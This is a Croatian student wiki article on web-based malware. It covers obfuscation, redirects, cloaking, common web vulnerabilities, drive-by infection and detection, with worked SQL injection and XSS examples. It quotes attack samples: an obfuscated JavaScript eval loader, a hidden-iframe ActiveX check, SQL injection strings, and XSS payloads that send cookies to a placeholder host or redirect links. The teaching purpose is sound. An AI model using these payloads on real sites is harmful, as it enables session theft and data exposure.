Web bazirani malware
Biljana Fridrih Ivana Majetic
Uvod
Web aplikacije su postale sastavni dio naše svakodnevnice u gotovo svim aspektima našeg života, od poslovanja do socijalnog dijaloga. Web aplikacije također preuzimaju ulogu klasičnih stolnih rješenja u svim poslovnih sustavima i organizacijama. S obzirom da polako postajemo sve ovisniji o ovoj novoj mrežnoj tehnologiji kako privatno tako i poslovno, očito je da ona samim tim postaje usko grlo i da kao i u svakoj aktualnoj tehnologiji postoji niz sigurnosnih rupa i propusta koji omogućavaju izvršavanje malicioznih radnji putem navedene tehnologije. S obzirom da web tehnologija utječe na gotovo svaki aspekt života, od poslovanja, do edukacije, medicine, trgovine i drugih aspekata života, potrebno je posebnu pažnju posvetiti svim potencijalnim malicioznim radnjama koje mogu proizaći iz korištenja ove tehnologije, pronaći adekvatna rješenja koja je potrebno kao standard ugraditi u sva nova i postojeća web rješenja. Ovaj proces ja naravno nešto što praktički nema kraja nego se neprestano ponavlja u obliku konstantnog otkrivanja novih sigurnosnih propusta, potencijalnih prijetnji kao i načina njihova otklanjanja te ugrađivanja novih rješenja i zakrpa u web rješenja.
Ivana Majetić 12:41, 20. siječnja 2013. (CET)
Općenito o web baziranom malwareu
Što je web bazirani malware
Štetni softver, odnosno malware, svakim danom se sve više razvija, a time se sve češće javlja i web bazirani malware, tj. malware koji za svoj osnovni medij distribucije koristi Word Wide Web te svoju predviđenu funkcionalnost realizira preko web tehnologija. Kako bi se adekvatno nosilo s ovakvim prijetnjama, potrebna je konstantna analiza tehinka koju kreatori ovakvog softvera koriste za distribuciju, napad te izbjegavanje otkrivanja. U današnje vrijeme web prostor podrazumijeva jako veliki broj web poslužitelja i sjedišta koji su često nesigurni te puno meta u obliku sigurnosno ranjivih modernih web preglednika tako da je web i web bazirani malware značajna ili čak i primarna prijetnja sigurnosti korisničkim računalnim sustavima.
Biljana Fridrih 12:15, 20. siječnja 2013. (CET)
Kako se zaštititi
Uz samu identifikaciju malwarea, potrebno je posvetiti pažnju i njegovim izvorištima. Istraživanja pokazuju da se malware često lansira sa uzastopno istih web adresa koje čine organizirane mreže za njegovu distribuciju te je, primjerice, više od polovice distribucijskih čvorova 2007. godine pronađeno u kineskom web prostoru. Da se zaključiti da se postupak otkrivanja novih mreža može ubrzati ukoliko se poznaju izvori malwarea, tj. njihova struktura i ponašanje.
Biljana Fridrih 12:15, 20. siječnja 2013. (CET)
Neke malware tehnike korištene u stvarnim scenarijima
Prilikom pronalaženja malwarea, moraju se zaobići mehanizmi koje njegovi kreatori postavljaju za onemogućavanje pronalaska i otežavanje analize. U nastavku će biti opisane neke od tehnika kojima se malware prikriva te koje bi svaki aktivni sustav potrage svakako treba uzeti u obzir.
Obfuskacija izvornog koda
Već dulje vrijeme poznata tehnika, najviše je popularna kod štetnog JavaScript koda, a značajno otežava primjenu tradicionalnih metoda otkrivanja malwarea statičkom analizom koda ili prema potpisima datoteka. Tehnike obfuskacije koje se često koriste uključuju dinamičko ubacivanje koda korištenjem document.write() funkcije, korištenje nečitkih dugih stringova s url-kodiranim znakovima poput „%28“ ili „h“ koji se u kodu dekodiraju s unescape() funkcijom, korisnički definirano dekodiranje unutar skripte i sl.
Primjer iz stvarnog scenarija:[1]
<script> var params="f=pharmacy&cat=tramadol";
function kqqw(s){
var Tqqe=String("qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM_1234567890");
var tqqr=String(s); var Bqqt=String("");
var Iqqy,pqqu,Yqqi=tqqr.length;
for ( Iqqy=0; Iqqy<Yqqi; Iqqy+=2) {
pqqu=Tqqe.indexOf(tqqr.charAt(Iqqy))*63;
pqqu+=Tqqe.indexOf(tqqr.charAt(Iqqy+1));
Bqqt=Bqqt+String.fromCharCode(pqqu);
}
return(Bqqt);
}
eval(kqqw('wKwVwLw2wXwJwCw1qXw4wMwDw1wJqGqHq8qHqSqH
w_ …
Bw1qHqSqHq0qHqFq7'));</script>
Biljana Fridrih 12:32, 20. siječnja 2013. (CET)
URL redirekcija
S obzirom da je distribucija malwarea često organizirana kroz više od jednog web mjesta, često se događa da prilikom posjeta primarne web stranice (poznate kao landing site), odgovor s tog URL-a upućuje preglednik na dodatne sekundarne lokacije. Uobičajeno se koriste mehanizmi redirekcije korištenjem HTTP 302 Temporary Redirect HTTP odgovora, HTML elementima kao <iframe>, <frame> unutar <frameset> elementa ili skriptnim funkcijama kao što su window.open(), window.location.replace(), <link_ID>.click() i sl.[1]
Biljana Fridrih 12:32, 20. siječnja 2013. (CET)
Sakrivanje URL-ova
Postoje web mjesta koja, u svrhu skrivanja štetnog koda od automatiziranih agenata, sav maliciozni kod ili sumnjivi sadržaj stranice kreiraju kroz JavaScript skripte tako da, s obzirom da automatizirani agenti obično ne izvršavaju skripte, poslužuje im se sadržaj koji je različit od onog koji se poslužuje ljudima. Postoje mehanizmi kojim neka web odredišta kombiniraju redirekciju URL-ova i njihovo skrivanje te poslužuju različite sadržaje ovisno o referer polju HTTP zahtjeva (skrivanje na poslužiteljskoj strani) i/ili referrer varijabli u web pregledniku (skrivanje na korisničkoj strani).
Biljana Fridrih 12:32, 20. siječnja 2013. (CET)
Prilagodba korisničkoj konfiguraciji
Česta praksa je da se malware poslužuje samo korisničkom softveru koji ima napadaču poznate ranjivosti. U nekim slučajevima se put napada određuje na poslužiteljskoj strani (npr. sustav Fragus aktivno skuplja statistike zaraženih sustava poput vrste i verzije preglednika te operacijskog sustava) dok se u drugim određuje na korisničkoj strani, poput u sljedećem fragmentu JavaScript koda:[1]
try{var c;
var f=new ActiveXObject("OWC10.Spreadsheet");}
catch(c){};
finally{if(c!="[object Error]")
{document.write(
"<iframe width=0 height=0 src=of.htm></iframe>");}
Jasno je da će iframe element (sa štetnim sadržajem) biti ubačen u dokument samo ako je uspješno instanciran ActiveX objekt.
Biljana Fridrih 12:32, 20. siječnja 2013. (CET)
Najizraženiji maliciozni sigurnosni propusti
Analiza cjelokupnog stanja pojedine web aplikacije je poprilično individualni proces koji ovisi o tehnologiji izrade, zadanim postavkama, konfiguraciji poslužitelja, organizacijskim aspektima, politici sigurnosti, itd. Međutim, bez obzira na relativno individualni pristup koji je potreban da bi se svaka pojedina web aplikacija proglasila sigurnom ili nesigurnom, moguće je identificirati neke sigurnosne prijetnje koje se mogu pojaviti u većini web aplikacija i koje mogu dovesti do malicioznih radnji i štetnih rezultata. Do navedenih problema se došlo prvenstveno iskustvom korisnika a nakon toga i detaljnijom analizom potencijalnih prijetnji. Dakle, možemo reći da su maliciozne radnje uzrokovane web aplikacijama usko povezane sa ranjivostima tih sustava. U ranjivosti web sustava koje dovode do pojave malicioznih rezultata za krajnjeg korisnika možemo ubrojiti sljedeće:
• Nekontrolirani unos (Unvalidated Input)
• Neadekvatna kontrola pristupa (Broken Access Control)
• Neadekvatna autentifikacija i neadekvatno upravljanje sesijama (Broken Authentication and Session Management)
• Izvršavanje skripti putem web stranica (Cross Site Scripting - XSS)
• Prepunjavanje buffera (Buffer Overflow)
• Mogućnost ubacivanja malicioznog koda (Injection Flaws)
• Neadekvatno upravljanje greškama (Improper Error Handling)
• Neosigurana kriptografska pohrana (Insecure Cryptographic Storage)
• Nemogućnost dohvata web aplikacije (Application Denial of Service)
• Nesigurno upravljanje konfiguracijama (Insecure Configuration Management)
• Neuspješna restrikcija URL pristupa (Failure to Restrict URL Access)
• Neprovjerene redirekcije (Unvalidated Redirects and Forwards)
Ivana Majetić 12:48, 20. siječnja 2013. (CET)
Nekontrolirani unos (Unvalidated Input)
Da bi pojedina web aplikacija nešto napravila, potreban joj je odgovarajući ulaz u obliku odgovarajućeg HTTP zahtijeva koji može doći putem ručnog unosa ili putem odgovarajuće datoteke. HTTP zahtjeva je jedno od mjesta na kojima se mogu pojaviti maliciozne radnje u smislu presretanja HTTP zahtijeva i izmjene jednog ili više njegovih dijelova. Iako je situacija danas takva da su web aplikacije izuzetno prisutne, mnoge web aplikacije danas nemaju kontrolu unosa ni na razini sučelja ni u pozadinskom dijelu aplikacije. Da bi aplikacija bila otporna na napade ovakve vrste potrebna je kontrola u pozadinskom poslužiteljskom dijelu jer sama kontrola na razini sučelja koristi više ergonomiji korisnika nego samoj sigurnosti. Potrebno je dakle na poslužiteljskom dijelu osigurati adekvatnu kontrolu svakog HTTP zahtijeva, uključujući kolačiće, parametre, upite, sadržaje formi i svih ostalih dijelova HTTP zahtjeva koji bi mogli dovesti do malicioznih rezultata za krajnjeg korisnika koji je u prvom redu i uputio HTTP zahtjev web aplikaciji.
Ivana Majetić 13:01, 20. siječnja 2013. (CET)
Neadekvatna kontrola pristupa (Broken Access Control)
Da bi se osigurala adekvatna kontrola pristupa potrebno je centralizirati sve potrebne mehanizme kontrole pristupa i imati vrlo jasno razrađenu politiku pristupa resursima web aplikacije kao i vrlo jasne uloge pojedine vrste korisnika u sustavu. U praksi vrlo često nalazimo nepostojanje jednog ili više navedenih elemenata što dovodi do nejasne politike i tipova korisnika kao i decentraliziranu provjeru prava pristupa što ostavlja puno prostora za razne greške i maliciozne upade. Navedeni problem je još više izražen ukoliko se u web aplikaciju uključuje i mogućnost udaljenog administriranja koje otvara puno novih mogućnosti za razne sigurnosne rupe. Ova pitanja su naročito važna da bi se priječilo maliciozno djelovanje u ovoj kategoriji prijetnji. Neke od mjera koje je naročito potrebno primijeniti prilikom izbjegavanja ove vrste maliciozne prijetnje, odnosno aspekti koje treba uzeti u obzir su:
• Korištenje nekontroliranih putanja do potrebnih datoteka – korištenje relativnih adresa za pristup potrebnim datotekama koje neće biti dostupne ukoliko se zatraže direktno.
• Preskakanje kontrole pristupa – preskakanje stranice s autentifikacijom i direktni prelazak na stranicu iza sigurnosne provjere sa željenim sadržajem.
• Potrebno je paziti da konfiguracijske datoteke, skripte i slični sadržaji budu spremljeni na pozadinskom poslužitelju i da se nikakvi slični sadržaji ne spremaju lokalno na web poslužitelju.
• Potrebno je putem korištenja HTTP zaglavlja, meta tagova i drugih mjera spriječiti preuzimanje osjetljivih sadržaja putem alata za kompletno preuzimanje web sjedišta.
Ivana Majetić 13:02, 20. siječnja 2013. (CET)
Neadekvatna autentifikacija i neadekvatno upravljanje sesijama (Broken Authentication and Session Management)
U procesu autentifikacije se uspostavljaju prava autoriziranom korisniku. No ukoliko je moguće ukrasti sesiju tada maliciozni napadač može preuzeti identitet krajnjeg korisnika i nanijeti mu malicioznu štetu. Ispravna autentikacija i upravljanje sesijama su ključni za adekvatnu sigurnost web aplikacija i krajnjeg korisnika. Da bi se izbjegla ova vrsta maliciozne prijetnje potrebno je uzeti u obzir sljedeće:
• Zahtijevati jake lozinke.
• Web aplikacija bi trebala pratiti broj neuspjelih pokušaja autorizacije s pojedine IP adrese te blokirati daljnje pokušaje nakon određenog broja neuspjelih pokušaja.
• Korištenje sigurnijih protokola poput SSL-a radi zaštite cjelokupne sesije.
• Izbjegavanje korištenja GET metoda za prenošenje autorizacijskih i autentifikacijskih parametara te izbjegavati spremanje autentifikacijskih podataka i stranica u keš memoriju.
• Sustav bi trebao zahtijevati periodičnu izmjenu zaporke.
• Svi autorizacijski i autentifikacijski podaci koji se pohranjuju bi morali biti kriptirani.
• Sustav bi trebao osigurati autentifikaciju svakog dijela web aplikacije kako se ne bi dogodilo da napadač napadne najslabiju kariku i dobije pristup svim dijelovima sustava.
Primjer je kupovina kino ulaznica putem Interneta. Ukoliko izvršite rezervaciju ulaznica na sustavu koji ID sesije prenosi kao dio URL-a dobit ćete sljedeći link:
http://kino.hr/prodaja/ulaznice;sessionid=987534kjh3khjkdfhgd89794875?film=Potraga
Ukoliko proslijedite e-mail svojim prijateljima kako biste im pokazali da ste rezervirali ulaznice, koristeći vaš ID sesije moguće je iskoristiti vaš račun za kupovinu ulaznica od strane bilo koga kome je vaš ID sesije poznat.
Još jedan primjer ovog napada se može vidjeti na slici 1.
Ivana Majetić 13:13, 20. siječnja 2013. (CET)
Izvršavanje skripti putem web stranica (Cross Site Scripting - XSS)
XSS predstavlja malicioznu radnju napadača koji koristi određenu web aplikaciju da bi poslao neki maliciozni kod, primjerice JavaScript, određenom krajnjem korisniku. Preglednik krajnjeg korisnika nakon toga izvršava ovu skriptu jer pretpostavlja da je došla s nekog povjerljivog izvora. Putem XSS napada moguće je provesti niz malicioznih radnji:
• Krađa sesije
• Krađa kolačića (cookie)
• Prepisivanje sadržaja HTML stranice
• Direktni napad na sadržaj računala krajnjeg korisnika
XSS napadi mogu bit pohranjeni ili reflektirani. Pohranjeni napadi označavaju napade kod kojih se maliciozni kod nalazi direktno na poslužitelju na kojem se nalazi i posjećena web stranica, primjerice kao dio baze podataka. Reflektirani XSS napadi s druge strane podrazumijevaju određeni način putem kojeg će se korisnik preusmjeriti na željenu web adresu, primjerice slanjem linka u lažnoj e-mail poruci navodi se korisnika da klikne na link i aktivira maliciozni kod.
Uzmimo primjerice sljedeći HTML kod:
(String) page += "<input name='serijskibrojkartice' type='TEXT‘value='" + request.getParameter("BB") + "'>";
Napadač modificira parametar "BB" u vlastitom pregledniku u:
'><script>document.location='http://www.nekawebadresa.com/cgi-bin/cookie.cgi?'%20+document.cookie</script>
Na ovaj način napadač sam sebi može poslati ID žrtvine sesije i na taj način preuzeti sesiju tj. žrtvin identitet. Jedan od način sprječavanja malicioznih napada ove vrste je dubinska kontrola svih upita, formi, zaglavlja i ostalih podataka koji se šalju tj. provjera svih vrijednosti koje bi se mogle iskoristiti za ubacivanje malicioznog koda. Poželjno je primjerice sve znakove unutar JavaScript skripti kodirati koristeći specijalne HTML kodove. Još jedan primjer XSS napada se može vidjeti na slici 2.
Ivana Majetić 13:39, 20. siječnja 2013. (CET)
Prepunjavanje buffera (Buffer Overflow)
Ovu vrstu sigurnosnog propusta je teško naći i iskoristiti. Najčešći način iskorištavanja ovog propusta je prepuniti web aplikaciju zahtjevima koji će rezultirati problemima u funkcioniranju aplikacije ili prepisivanjem stoga pri čemu se pokazivač preusmjerava na maliciozni kod napadača. Ovom napadu su najpodložnije web aplikacije koje koriste vanjske podatke ili servise.
Primjer ovog napada se može vidjeti na slici 3.
Ivana Majetić 13:47, 20. siječnja 2013. (CET)
Mogućnost ubacivanja malicioznog koda (Injection Flaws)
U ovoj vrsti napada napadač pokušava ubaciti maliciozni kod u web aplikaciju na neki način. Web aplikacija nakon toga izvršava maliciozni kod nad nekim od resursa (primjerice operacijskim sustavom, bazom podataka, itd.). U principu svako korištenje interpretera otvara mogućnost ovakvim malicioznim radnjama. Maliciozni kod se obično šalje web aplikaciji kao dio parametara, putem HTTP zahtjeva, primjerice ubacivanje JavaScript koda u web formulare koji će se onda izvršiti u sklopu određenog bloga na strani žrtvinog računala, ubacivanje sql upita na mjesto određenih parametara koji će se potom izvršiti i otkriti određene podatke ili izbrisati/izmijeniti neke sadržaje. Da bi se spriječila ova vrsta napada, potrebna je detaljna provjera svih ulaznih parametara i podataka tj. pohranjivanja sql upita unutar pohranjenih procedura ili funkcija te izbjegavati direktni prijenos parametara.
Primjer napada ove vrste je sljedeći. Web aplikacija koristi sljedeći parametrizirani sql upit:
String query = "SELECT * FROM kartice WHERE sifra='" + request.getParameter("sifra") +"'";
Napadač izmjeni parametar "sifra" u svojem pregledniku u ' or '1'='1 čime će postići da sql upit vrati sve podatke o karticama iz baze podataka, a u nekim slučajevima ovakvim napadom je moguće čak i preuzeti kompletnu bazu podataka. Primjeru URL-a za ovakav napada iz opisanog primjera je:
http://example.com/app/accountView?id=' or '1'='1.
Primjeri ove vrste napada su prikazani na slikama 4. i 5.
Ivana Majetić 13:50, 20. siječnja 2013. (CET)
Neadekvatno upravljanje greškama (Improper Error Handling)
Web aplikacije mogu generirati razne poruke o greškama. Ukoliko te poruke nisu obrađene na adekvatan način, napadači mogu otkriti osjetljive tehničke i implementacijske detalja o aplikaciji koje im mogu pomoći u ostvarivanju malicioznih napada. Svaka poruka greške mora biti adekvatno obrađena i adekvatna poruka mora biti ispisana. Primjerice: bolje je ispisati „Ovaj račun ne postoji.“ nego „Pristup ovom računu nije moguć s danim podacima.“ jer druga poruka doslovno otkriva da računa doista postoji. Primjer neadekvatnog ispisa poruke greške se može vidjeti na slici 6.
Ivana Majetić 13:52, 20. siječnja 2013. (CET)
Neosigurana kriptografska pohrana (Insecure Cryptographic Storage)
Prilikom pohrane osjetljivih podataka većina web aplikacija koristi neki oblik kriptografske zaštite, međutim u ovom procesu postoji puno mogućnosti za razne greške koje web programeri mogu načiniti. Primjerice ovisno o odabiru kriptografskog algoritma, neki od njih se mogu vrlo lako dekriptirati. Primjer je korištenje .htaccess zaštite za autorizacijske podatke pri čemu se većinom koristi base64 algoritam koji je vrlo lako dekodirati te ukoliko napadač uspije presresti kriptirane podatke, otvara mu se mogućnost krađe identiteta. Da bi se izbjegli ovakvi problemi, potrebno je pažljivo birati algoritme za kriptiranje uz minimalnu količinu podataka koji se pohranjuju. Primjer ovakvog napada je krađa diska s kriptiranim podacima osiguravajuće kuće na kojem je pohranjen i enkripcijski ključ što omogućava napadaču u konačnosti dekriptiranje kriptiranog sadržaja iako je kriptiran pažljivo odabranim algoritmom za kriptiranje.
Ivana Majetić 13:53, 20. siječnja 2013. (CET)
Nemogućnost dohvata web aplikacije (Application Denial of Service)
U ovoj vrsti napada napadač troši sve raspoložive resurse poput broja veza, količine propusnosti podataka, prostor na disku, itd. Ovakve radnje mogu uzrokovati kompletan pad web aplikacije ukoliko web aplikacije nema odgovarajuće rutine koje bi reagirale na ovakve napade. Isto tako je moguće da napadač ima dio podataka koji su ispravni poput primjerice korisničkog imena i onda blokira korisnički računa nizom bruteforce napada (nizom pokušaja prijave s raznim zaporkama). Da bi se ovaj napad spriječio potrebno je ograničiti dopuštene resurse svakom autoriziranom korisniku jer je osim toga vrlo teško detektirati ovakav napad jer je teško zaključiti da li napadi s neke IP adrese dolaze od napadača ili legitimnog korisnika koji jednostavno ponovno učitava stranicu. Primjer ove vrste napada se može vidjeti na slici 7.
Ivana Majetić 13:54, 20. siječnja 2013. (CET)
Nesigurno upravljanje konfiguracijama (Insecure Configuration Management)
Svi resursi koji su potrebni da bi web aplikacija radila ispravno, poput primjerice prostora na disku, se nalaze na serveru i ukoliko nisu ispravno konfigurirani sve ostale sigurnosne mjere neće biti dostatne da bi web aplikacija ispravno funkcionirala. Mogući konfiguracijski problemi su primjerice:
• Ugrađeni inicijalni računi i prava
• Neadekvatna politika dozvola pristupa
• Aktivni nepotrebni servisi
• Administratorske funkcije koje su dostupne
• Stare inačice programa
Primjer ovakvog napada je detekcija standardnih administracijskih funkcija i računa te preuzimanje sustava temeljem istih.
Ivana Majetić 13:56, 20. siječnja 2013. (CET)
Neuspješna restrikcija URL pristupa (Failure to Restrict URL Access)
Web aplikacija može imati sigurnosni propustu obliku nekontroliranog direktnog pristupa stranicama koje nisu javne. Napadač može saznati adrese pojedinih stranica putem detaljne analize web sjedišta i direktno pristupiti privatnim resursima. Isto tako pristup pojedinim resursima može biti konfiguriran putem nezaštićenih datoteka do kojih se može direktno pristupiti. Primjer ovakve sigurnosne greške je stranica koja sakriva link za administracijski ulaz no ne štiti administracijsku konzolu tako da napadač direktnim upisivanjem linka koji može dobiti analizom poveznica web sjedišta tj. link oblika www.webstranica.hr/admin/console može doći do osjetljivih sadržaja, čak preuzeti cjelo web sjedište.
Ivana Majetić 13:57, 20. siječnja 2013. (CET)
Neprovjerene redirekcije (Unvalidated Redirects and Forwards)
Kod ovakve vrste napada žrtva je prijevarom navedena da klikne na određeni link koji u sebi ima parametar koji vodi na malicioznu skriptu koja nakon toga instalira maliciozni kod na računalo korisnika, krade mu sesiju ili provodi neku drugu malicioznu radnju. Da bi se ovakav napad spriječio potrebno je detaljno pregledati svaki link koji uključuje parametre ili skripte u svom pozivu. Isto tako treba paziti na e-mail poruke u kojima se šalju linkovi te dodatno provjeriti njihovo podrijetlo. Primjer ovakvog napada se može vidjeti na slici 8.
Ivana Majetić 13:58, 20. siječnja 2013. (CET)
Životni ciklus infekcije
Kako bi inicirao drive-by download, napadač jednostavno mora namamiti potencijalnu žrtvu da se spoji na kompromitirani web server koji naknadno pruža exploit ciljajući ranjivost web browsera ili njegovih plug-inova. Međutim, uspješna infekcija može biti uzrokovana jednostavnim posjećivanjem web stranice s dobrom reputacijom, koju osoba možda i često posjećuje, jer je došlo do automatskog downloada i instalacije malicioznog softvera na računalo. Ta drive-by download tehnologija ne zahtjeva da žrtva direktno posjeti malicioznu domenu, nego ubacuje sadržaj u kompromitirani web server koji preusmjerava korisnika na malicioznu domenu. Napadači mogu koristiti više tehnika kako bi ubacili sadržaj u benigne web stranice utječući na ranjive skriptne aplikacije. Obično te ranjivosti omogućuju izravni pristup glavnom operacijskom sustavu pružajući kontrolu bilo kojem web serveru lociranom na uređaju. Nakon što je kompromitirana, IFRAME ili neki drugi oblik preusmjeravanja do malicioznog sadržaja, umetnut je u web stranicu. Najčešće su korištene nevidljive HTML komponente, poput skrivenih IFRAME-ova, kako bi se izbjegla vizualna detekcija na web stranici.
Na slici 9 su vidljivi koraci do kojih dolazi prilikom drive-by napada. Prikazano je kako, nakon što klijent posjeti kompromitirani web server (landing site), može doći do N redirekcija kroz mrežu domena dok se ne dođe do konačne napadačke domene koja će dostaviti exploit. Nakon što maliciozna web stranica primi konekciju, exploit skripta, najčešće JavaScript, je poslana žrtvi kako bi se exploitala ranjivost u browseru ili nekom od njegovih plug-inova. Ako je exploit uspješan, browser će biti upućen da zatraži malware sa distribucijske stranice.
Biljana Fridrih 14:10, 20. siječnja 2013. (CET)
Distribucijska mreža malwarea
Napadači obično kreiraju vlastite maliciozne domene i namame žrtve na svoje stranice putem socijalnog inženjeringa. U današnje vrijeme vidljiv je porast u korištenju kompromitiranih web stranica kako bi se inficirale žrtve kao što je vidljivo u primjeru o životnom ciklusu infekcije. Na taj način napadači pridobiju korisnike legitimnih web stranica kako bi ih inficirao u puno većem broju. Najčešće se događa da prilikom posjeta kompromitiranoj web stranici, korisnik bude podvrgnut većem broju preusmjerenja kroz cijelu mrežu domena kako bi u konačnici završio na stranicu na kojem će mu biti dostavljen malware. Moguće je da kod takvih napada bude i samo jedno preusmjerenje, no korištenje više preusmjerenja je češće vidljivo kod sofisticiranijih malware napada te označava drive-by download koji je otporniji na uklanjanje. Slika 10 prikazuje strukturu preusmjerenja korištenih u određenom napadu. Crveno označeno prikazuje potvrđene maliciozne sadržaje poslužene u tom napadu. Također je važno napomenuti da skupina malwarea prikazanog na dijagramu, cilja mnoštvo ranjivosti s nekim ponavljajućim instancama. To je često slučaj sa drive-by download-om gdje napadač detektira verziju softvera, browsera operacijski sustav ili plug-inove koje žrtva koristi te ih preusmjerava odgovarajućem exploitu.
Biljana Fridrih 14:12, 20. siječnja 2013. (CET)
Detekcija malwarea
Prilikom detekcije malwarea, pokušava se pronaći programe s malicioznom namjerom. Antivirusni skener je instanca malware detektora koji koristi potpise i druge heuristike kako bi identificirao malware. Nakon što detektor malwarea identificira maliciozni kod, može izvesti akcije da preseli ili ukloni prijetnju; poput karantene, popravljanja ili brisanja datoteke. Detektori malwarea rade ili korištenjem detekcije bazirane na potpisima ili na anomalijama ili kombinirajući ih.
Detekcija bazirana na potpisima
Potpisno bazirana detekcija identificira malware uspoređujući programski sadržaj s repozitorijem poznatih malicioznih potpisa. Malware koristi potpis koji je maliciozni kod i koji se može povezati s malware bazom na uređaju. Ovaj pristup se temelji na čestim ažuriranjima potpisnih repozitorija u svrhu detekcije nepoznatog ili novog malwarea. Priroda potpisno-bazirane detekcije uglavnom podrazumijeva da su lažno pozitivna upozorenja rijetko moguća s obzirom da se uspoređuje s poznatim malicioznim kodovima u bazi. Međutim, ova metoda je ograničena jer ne može otkriti nove, tek nastale prijetnje. Iako je potpisno-bazirana detekcija efektivna za detekciju poznatog malwarea, napadači mogu zaobići ovaj pristup pomoću tehnika poput oligomorfnog, polimorfnog ili metemorfnih kodova koji se kriptiraju ili mijenjaju kako bi izbjegli podudaranje u potpisnom repozitoriju.
Biljana Fridrih 14:13, 20. siječnja 2013. (CET)
Detekcija bazirana na anomalijama
U svrhu detekcije malwarea s nepoznatim potpisima, može se koristiti heuristički prikaz kako bi se identificiralo novi malware ili varijante poznatog malwarea. Umjesto potrage za obrazcima u potpisima, detekcija bazirana na anomalijama koristi heuristiku i primjenjuje skup pravila koja klasificiraju program u skladu s njegovim ponašanjem. Pravila korištena za detekciju su bazirana na poznatim malwareom i primjenjuju generičke definicije u bazi malwarea. Tako da je prijetnja detektirana ukoliko se program ponaša slično poznatom malwareu. Generičke mogućnosti ovog pristupa mogu omogućiti detekciju većeg broja prijetnji koristeći jednu definiciju malwarea. Postoje dva načina na koje detekcija bazirana na anomalijama može biti primijenjena; statički ili dinamički. Statički se izvodi na način da se ispituju instrukcije sadržane u bazi. Prijetnja može biti identificirana ukoliko se podudara s obrazcem instrukcija sadržanim u bazi poznatih malware instrukcija. Detekcija u tom pogledu može biti brzo postignuta, međutim, ovaj pristup ne može detektirati oligomorfne, plimorfne i metamorfne malware s obzirom da oni aktivno mutiraju svoj kod. Detekcija bazirana na anomalijama također može biti izvođena dinamički izvršavanjem u virtualnoj okolini. Informacije sakupljene iz izvođenja programa su korištene kako bi se odredilo radili se o malicioznom sadržaju. Dinamička detekcija je efektivnija od statičke no zahtjeva veću procesorsku snagu.
Biljana Fridrih 14:13, 20. siječnja 2013. (CET)
Upozorenja na Google tražilici
Google prilikom pretraživanja upozorava korisnike, ukoliko je stranica koja mu je izlistana potencijalno opasna, da stranicu posjećuju na vlastitu odgovornost. Zanimljivost koja se Googleu nedavno dogodila je to da su prilikom izrade baze pogriješili te su sve stranice bile obilježene kao potencijalno opasne pa čak i sam google.com.
Primjer potencijalno opasne stranice može se pronaći na linku (google malware testna stranica).
Biljana Fridrih 15:33, 20. siječnja 2013. (CET)
Praktični dio
Prikaz napada sql injection (ubacivanja sql upita)
Za praktični dio ćemo prikazati kako napadač može putem HTML forme izvršiti sql injection napad.
Uzmimo da imamo sljedeću PHP skriptu koja obrađuje podatke primljene s forme, samo što ćemo podatke direktno upisati u varijable umjesto da ih čitamo POST metodom:
// ispravno korisničko ime
$korime = "ivana";
$upit = "SELECT * FROM klijenti WHERE korime = '$korime'";
echo "Regularni upit: " . $upit;
// upit napadača koji sadrži ubačeni sql upit
$korime_napad = "' OR 1'";
$nesiguran_upit = "SELECT * FROM klijenti WHERE korime = '$korime_napad'";
echo "Maliciozni upit: " . $korime_napad;
Kao izlaz ćemo dobiti sljedeće:
Regularni upit: SELECT * FROM klijenti WHERE korime = 'ivana'
Maliciozni upit: SELECT * FROM klijenti WHERE korime = 'OR 1'
Regularni upit je korektan jer će se kao rezultat iz baze podataka vratiti svi redci koji imaju vrijednost atributa korime jednako 'ivana'. Međutim, maliciozni upit koji sadrži ubačeni sql upit će vratiti sve retke iza baze podataka jer sadrži znak jednostrukog navodnika ' koji označava kraj unosa korisničkog imena tj. korime = ' ' i nakon toga dodaje novi dio upita koji koristi OR klauzulu i logičku vrijednost 1 (true) što će uvijek biti istina i samim tim će se vratiti svaki pojedini redak iz baze podataka u tablici klijenti. Konačni oblik ovog upita je dakle korime = ' ' OR 1.
Korištenjem metode iz navedenog primjera možemo upisati unos tipa kor' or 1=1 u područje forme koje prikuplja podatke o korisničkom imenu i lozinki ili možemo čak iskoristiti istu metodu direktno u samom URL-u (primjerice www.webstranica.com/login.php?id=kor' or 1=1) da bismo pristupili željenim zaštićenim resursima.
Ivana Majetić, Biljana Fridrih 21:53, 20. siječnja 2013. (CET)
XSS napad
U ovom primjeru ćemo prikazati kako izvesti XSS napad. Uzmimo da imamo sljedeću PHP skriptu koja predstavlja regularnu i legitimnu stranicu:
<?php
$naziv = $_GET['naziv'];
echo "Dobrodošli $naziv
";
echo "<a href="http://www.stranica.hr/">Kliknite ovdje da biste preuzeli datoteku</a>";
?>
Napadač može poslati lažni e-mail žrtvi koja će ga u velikom postotku slučajeva ukoliko je dobro formuliran pročitati i kliknuti na link. Link je međutim izmijenjen u sljedeće:
index.php?naziv=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://www.malicioznastranica.hr/";}</script>
Na ovaj način korisnik klikom na link aktivira skriptu u kojoj se prije izvođenja mijenja link na koji će se korisnik preusmjeriti klikom na „Kliknite ovdje da biste preuzeli datoteku“. Kako bi dodatno zbunio korisnika, u navedenom URL-u napadač može koristiti heksadecimalne ASCII kodove za svaki pojedini znak i time učiniti link manje očitim.
Ivana Majetić, Biljana Fridrih 22:45, 20. siječnja 2013. (CET)
Literatura
[1] Petar Djerasimović, dipl.ing., Identifikacija štetnog softvera na World Wide Webu, Dostupno na: link, 20.1.2013.
[2] James Harland, Web-based Malware Browser Based Malware Infection, Dostupno na: link, 20.1.2013.
